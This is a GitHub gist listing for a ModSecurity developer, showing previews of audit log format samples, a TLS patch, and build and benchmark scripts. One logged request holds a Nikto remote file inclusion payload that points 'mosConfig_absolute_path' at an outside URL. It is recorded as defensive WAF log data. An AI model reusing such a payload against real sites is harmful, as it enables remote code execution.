Felipe Zimmerle zimmerle
☠️
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "transaction":{ | |
| "time":"13/Jan/2016:08:15:45 --0300", | |
| "transaction_id":"VpYx4X8AAQEAAGXSB@EAAAAA", | |
| "remote_address":"127.0.0.1", | |
| "remote_port":37098, | |
| "local_address":"127.0.0.1", | |
| "local_port":80 | |
| }, | |
| "request":{ |
zimmerle
/ Auditlog JSON in v3
Created
January 27, 2016 13:01
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "transaction": { | |
| "client_ip": "127.0.0.1", | |
| "time_stamp": "Thu Jan 21 18:52:52 2016", | |
| "server_id": "a8c4ef34e653442d3968e7368748b81a9a6fa4c1", | |
| "client_port": 52026, | |
| "host_ip": "127.0.0.1", | |
| "host_port": 80, | |
| "id": "145341317239.923407", | |
| "request": { |
zimmerle
/ Aduditlog Original format
Created
January 27, 2016 12:59
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| --89a3fd2c-A-- | |
| [13/Jan/2016:08:04:36 --0300] VpYvRH8AAQEAAF-yfRIAAAAA 127.0.0.1 34506 127.0.0.1 80 | |
| --89a3fd2c-B-- | |
| GET /index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid=1&GLOBALS=&mosConfig_absolute_path=http://cirt.net/rfiinc.txt? HTTP/1.1 | |
| Connection: Keep-Alive | |
| User-Agent: Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:005057) | |
| Host: localhost | |
| --89a3fd2c-F-- | |
| HTTP/1.1 200 OK |
zimmerle
/ ModSecurity JSON audit log - Suggested format.
Created
July 1, 2015 14:25
ModSecurity JSON audit log - Suggested format.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Based on the format suggested here: https://www.cryptobells.com/logging-mod_security-in-json/ | |
| { | |
| "transaction":{ | |
| "timestamp":"2014-12-25 04:18:36", | |
| "id":"aHRXe8aaAAddEv9@dkAAAAa", | |
| "client ip":"204.13.202.8", | |
| "client port":44232, | |
| "host ip":"192.168.240.12", | |
| "host port":80, |
zimmerle
/ 0001-mlogc-Changes-the-default-SSL-algo-to-TLS-1.2.patch
Created
November 3, 2014 19:46
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| From 84f2299f6b3b56cf5342ad378c3641be548bf79c Mon Sep 17 00:00:00 2001 | |
| From: Felipe Zimmerle <fcosta@trustwave.com> | |
| Date: Mon, 3 Nov 2014 10:13:21 -0800 | |
| Subject: [PATCH] mlogc: Changes the default SSL algo to TLS 1.2 | |
| As reported by Josh Amishav-Zlatin, mlogc was making usage of SSLv3 instead of | |
| TLS 1.2. Servers should not answer SSLv3 after poodle. | |
| --- | |
| mlogc/mlogc.c | 4 ++-- | |
| 1 file changed, 2 insertions(+), 2 deletions(-) |
zimmerle
/ msc_pregcomp utilization....
Created
October 30, 2014 16:19
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| apache2/apache2_config.c: dcfg->auditlog_relevant_regex = msc_pregcomp(cmd->pool, p1, PCRE_DOTALL, NULL, NULL); | |
| apache2/apache2_config.c: re->param_data = msc_pregcomp(cmd->pool, p1, 0, NULL, NULL); | |
| apache2/apache2_config.c: re->param_data = msc_pregcomp(cmd->pool, p1, 0, NULL, NULL); | |
| apache2/apache2_config.c: re->param_data = msc_pregcomp(cmd->pool, p1, 0, NULL, NULL); | |
| apache2/apache2_config.c: re->param_data = msc_pregcomp(cmd->pool, p1, 0, NULL, NULL); | |
| apache2/apache2_config.c: re->param_data = msc_pregcomp(cmd->pool, p2, 0, NULL, NULL); | |
| apache2/apache2_config.c: re->param_data = msc_pregcomp(cmd->pool, p2, 0, NULL, NULL); | |
| apache2/apache2_config.c: re->param_data = msc_pregcomp(cmd->pool, p2, 0, NULL, NULL); | |
| apache2/apache2_config.c: re->param_data = msc_pregcomp(cmd->pool, p2, 0, NULL, NULL); | |
| apache2/apache2_config.c: re->param_data = msc_pregcomp(cmd->pool, p2, 0, NULL, NULL); |
zimmerle
/ cleanup semaphores
Created
October 9, 2014 15:47
Script used by ModSecurity buildbot to cleanup semaphores.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| export me=`whoami` | |
| echo "Username: $me" | |
| echo "Listing..."; | |
| ipcs -s | |
| echo "Cleaning..."; |
zimmerle
/ gist:dc830bcaa2f325e12b56
Last active
August 29, 2015 14:06
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| set title "ModSecurity Performance: Throughput" | |
| set grid lt 1 lw 1 | |
| set surface | |
| set parametric | |
| set xtics | |
| set ytics | |
| set logscale x 2 | |
| set logscale y 2 | |
| set xlabel "Content size (kB) [log]" | |
| set ylabel "Concurrent requests [log]" |
zimmerle
/ gist:1a6c5ab851c496fc13fe
Created
September 16, 2014 16:04
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| HOST="127.0.0.1" | |
| PORT=80 | |
| declare -a file_size=(1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 1597 2584 4181 6765); | |
| declare -a threads=('10' '20' '30' '50' '80' '100'); | |
| for s in "${file_size[@]}" | |
| do |
zimmerle
/ gist:10480840
Created
April 11, 2014 16:10
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 17164 open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 | |
| 17164 open("/usr/lib64/libpcre.so.1", O_RDONLY|O_CLOEXEC) = 3 | |
| 17164 open("/usr/lib64/libsystemd-daemon.so.0", O_RDONLY|O_CLOEXEC) = 3 | |
| 17164 open("/usr/lib64/libaprutil-1.so.0", O_RDONLY|O_CLOEXEC) = 3 | |
| 17164 open("/usr/lib64/libapr-1.so.0", O_RDONLY|O_CLOEXEC) = 3 | |
| 17164 open("/lib64/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3 | |
| 17164 open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 | |
| 17164 open("/lib64/librt.so.1", O_RDONLY|O_CLOEXEC) = 3 | |
| 17164 open("/lib64/libcrypt.so.1", O_RDONLY|O_CLOEXEC) = 3 | |
| 17164 open("/usr/lib64/libexpat.so.1", O_RDONLY|O_CLOEXEC) = 3 |